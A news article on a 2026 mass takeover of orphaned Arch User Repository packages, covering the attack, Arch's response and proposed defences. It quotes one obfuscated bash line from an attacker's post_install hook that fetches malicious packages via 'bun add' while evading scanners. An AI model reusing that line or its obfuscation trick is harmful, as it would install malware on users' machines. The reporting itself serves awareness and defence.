AURpocalypse now: a look at the recent AUR attacks

The Arch User Repository (AUR) has been subjected to a sustained attack recently. The attacker, or attackers, have spun up a series of new accounts then used them to adopt orphaned packages and push malicious updates that would install malware on users' systems. It is unclear how many users were compromised in the attack, but the maintainers were playing Whac-A-Mole for several days to respond to each newly compromised package. The project has turned off the AUR's new-user registration, for now, but it is unclear what its long-term response will be or if the AUR can be secured without major changes to its existing collaboration model.

Why AUR is especially vulnerable

Arch Linux offers official repositories of software, such as core and extras, that are overseen by the Arch Linux Developers and Package Maintainers (see the official contributors categories for more on the hierarchy). These packages are vetted by maintainers and available for download in binary format using the pacman package manager.

The AUR, on the other hand, is a repository for software that has not yet made its way into the official repositories and may never do so. Pacman does not use the AUR repository directly, so users typically turn to a separate AUR helper application, such as paru or yay, for searching the AUR for software, downloading the PKGBUILD files, resolving dependencies, as well as compiling, installing, and updating software.

The AUR is maintained by Arch's Package Maintainers—they respond to requests to orphan or delete packages, and may move packages from AUR to the official extras repository, for example—but there is no formal review process for a package to enter the AUR, nor for any updates to it. The AUR contains the user-contributed PKGBUILD files that are needed to compile software from source; there are no binary builds provided. Currently there are more than 107,000 packages in the AUR, including nearly 14,000 that are currently orphaned and up for grabs.

AUR user registration is typically wide open to anyone who wishes to sign up—currently there are more than 141,000 registered users. Any person who has a registered user account on the AUR can adopt and make changes to orphaned packages. There is no review process or vetting that takes place when a user seeks to publish a new package or adopt an orphaned one; a registered user only has to click "Adopt Package" on the orphaned package's page and ownership of the package is automatically granted.

Use at your own risk

Arch users are expected to exercise care when working with packages from the AUR; they are warned that AUR PKGBUILD files are "completely unofficial and have not been thoroughly vetted. Any use of the provided files is at your own risk". In theory, users will review PKGBUILD files before building or installing the software; it's unlikely that this happens in practice, particularly when a user has already installed a package and is performing an update.

While Arch Linux does not provide builds for packages in the AUR, it does allow "-bin" PKGBUILD files, which are used to download prebuilt binaries from other locations. For example, users can install the LibreWolf fork of Firefox using the librewolf-bin package from the AUR rather than having to build it from source. This is not just convenient for open-source software with long build times; the AUR policies allow proprietary software as well, which is unlikely to be distributed in source form. Of course, this means that users have to be willing to trust that the AUR package maintainer is not providing anything malicious in the binaries.

Arch is not the only distribution that has a service for providing "use at your own risk", unreviewed, user-submitted content; Fedora has Copr, the openSUSE project has the Open Build Service (OBS), and Ubuntu has Personal Package Archives (PPAs). Each of those services allow a person to sign up without any review process and build packages for download by other users of the distributions.

However, there are important differences between those services and the AUR. They provide a build environment that is similar to the ones used for the official distribution packages, and do not allow pre-built binaries or proprietary software. The model for Copr, OBS, and PPAs is that a user creates a project under their own user namespace; users have to add each repository from one of those services separately.

For example, niri creator Ivan Molodetskikh maintains a Copr repository for Fedora users who want to run the tiling Wayland compositor. To install niri from Copr, a user has to enable that repository specifically. It is possible for other Copr users to create a similar project under their own namespace, but it is not possible for another user to take over Molodetskikh's repository unless they compromise his credentials. A would-be attacker could create a malicious fork on Copr and try to lure Fedora users to add that package repository to their system instead, but the attacker cannot simply pick up an orphaned Copr repository to compromise users who have already added it.

The AUR, on the other hand, is much more relaxed about ownership; the PKGBUILD files are all maintained under the AUR namespace. The rules state that, when a new maintainer takes over an AUR package, they are supposed to add their own information as maintainer and then list the prior maintainers as contributors. That, however, is taken on trust and (as seen with the current attack) can be easily abused.

Attacks

The AUR has been subject to a number of attacks over the years that took advantage of orphaned packages. In 2018, three packages were changed to include data-harvesting malware. There were two attacks last year; on July 18 Quentin Michaud sent out an advisory that three packages, all "-bin" packages for web browsers, were uploaded with remote-access trojan (RAT) malware. In late July, there was another attempt, quickly detected; a "google-chrome-stable" package was uploaded with another RAT.

Each of those attacks were small in scale. Not so the most recent attack, which seems to have started (and was detected on) May 27; Fabio Loli reported that the "plex-media-player" package had been updated to install a malicious npm package "crypto-javascript". The PKGBUILD had been orphaned and then adopted by a brand-new account. Several new packages with similar names had also been uploaded by new accounts, all with the same attempt to lure users into installing the malicious npm package.

On June 11, Mark Wagie reported that a new maintainer had adopted the "gnome-randr-rust" package and changed the PKGBUILD file to add a dependency on npm and then use it to install a malicious package called "atomic-lockfile". The attacker also changed the Contributor stanzas in the PKGBUILD to replace the email addresses of prior maintainers—but not the names. The Sonatype blog has an analysis of the package; it included an eBPF program that would attempt to exfiltrate a wide range of information from a user's machine including GitHub credentials, SSH information, browser cookies, data stores from chat applications like Slack, Discord, and more.

The attacker(s) went after hundreds of orphaned packages instead of a select few as with the attacks last year. Jonathan Grotelüschen, one of Arch's Package Maintainers, started a thread on June 11 for people to report compromised packages.

I contacted Grotelüschen by email to ask about the attack; he said that the attacker was creating accounts that would adopt a few packages and compromise them in a similar fashion. New user registration was stopped on June 11 and then re-enabled after the project added Anubis to try to foil the attacker's mass account registrations. That did not work, so registration was disabled again on June 12.

There was another wave of attacks on June 13, conducted with four accounts that had been created before registration was shut down. The attacker switched to using the Bun package manager to attempt to install malicious packages instead of npm, and then attempted to obfuscate the "bun install" command to evade scripts created to scan PKGBUILD files for strings with "npm" or "bun":

    # post_install() {
    #   $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' 
    $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 
    'n'"e"'x'"t""f"'i''l''e''-''j''s'
    # }

While the obfuscation attempt would evade scripts looking for an install command, any users who actually review the PKGBUILD file would hopefully find it suspect.

Response

In total, more than 1,500 packages are known to have been affected. Grotelüschen said that only about 20 new packages were created, the rest were orphaned packages adopted by the attacker. As of this writing, registration is still disabled. Grotelüschen said that the maintainers "keep the AUR as clean as we can, but at the scale of the AUR, our chance at catching absolutely everything is very small".

He added that "the attack exclusively affected the user-managed content, and the official repositories were unaffected". Furthermore, the AUR packages come with the disclaimer that they are "use at your own risk". Users are responsible for reading PKGBUILDs to decide for themselves if the content is safe to use, Grotelüschen said.

That policy, however, seems to be at odds with the practices of real-world users. It is likely that many users treat the AUR as just another package repository, and rarely if ever read a PKGBUILD file before installing or updating a package. Even careful, security-minded people are unlikely to review every single update to a PKGBUILD, and attackers only need to get lucky once. The AUR's policies may not be sufficient for today's security threats.

The project is working on making it harder to create new accounts, he said, but "the AUR will not require real names or even government id verification". He noted that there are discussions on the AUR mailing list about ways to prevent or detect similar attacks, but the ideas are coming from users rather than Arch maintainers and developers.

Because it's 2026, several ideas of course center around using LLMs, such as Thomas Stromberg's suggestion to use a project he's working on called Atomdrift, which uses "tiny local deterministic AI models, retrained constantly based on recent attacks and threat feeds". Andreas Reichel said he had built something similar called aurscan, which can use Claude, Codex, or local LLMs.

Lukas Grumlik thought that a change in how orphaned packages are handled might help. Instead of allowing anyone to adopt an orphaned package, he proposed that such packages be locked and set to a read-only state. Users could still download the PKGBUILD, but adoption would require "a proper request to take it over, explaining why it needs updating", which would hinder bots from mass takeovers. Reichel replied that such a strategy would discourage well-intentioned people who want to fix packages in good faith, but fail to stop "a state sanctioned criminal syndicate with at least 20k USD deep pockets" and access to LLMs "because my LLM Agent has all the time it needs and will write better explanations anyway".

Another approach would be to build defenses into the AUR utilities rather than the AUR itself. Fidel Ramos suggested that paru display "a loud warning" when installing or upgrading a package that had been orphaned and then adopted. That would likely require changes to the RPC interface for the AUR in order to expose the information needed. Josephine Pfeiffer has opened a merge request that would provide that information.

Jo Guerreiro, maintainer of yay, said that there had been many feature requests asking for changes along the lines of scanning for "npm install yyy", delayed time updates, or maintainer-change tracking. However, he argued that the next wave of malware would change tactics, "with all detection scanning fed into its generation cycle as 'iterate until it is not detected'". There was no way for yay to keep up with attackers, and he wanted to avoid "security theater".

However, he did note that the latest release of yay would now display the last modification time of a PKGBUILD. Recent modifications do not mean that users should not trust a package, but that they should be more careful and review the package. Older packages are not necessarily more trustworthy, he said, "but it is a reason to be more confident that it has been reviewed by the community".

Be careful out there

Considering the open-door policy for submissions and changes in the AUR, it's almost surprising that it has taken this long for an attacker to conduct a campaign at this scale. Nothing good lasts forever, though, and even if the person or persons behind this attack decides to move on, there will almost certainly be copycats.

Slowing new signups may help to some degree, but malicious actors will keep looking for ways to take advantage of AUR users who let their guard down in reviewing their PKGBUILD files. The AUR is an impressive example of community collaboration; it is unfortunate that there is always someone looking to abuse any system built on trust.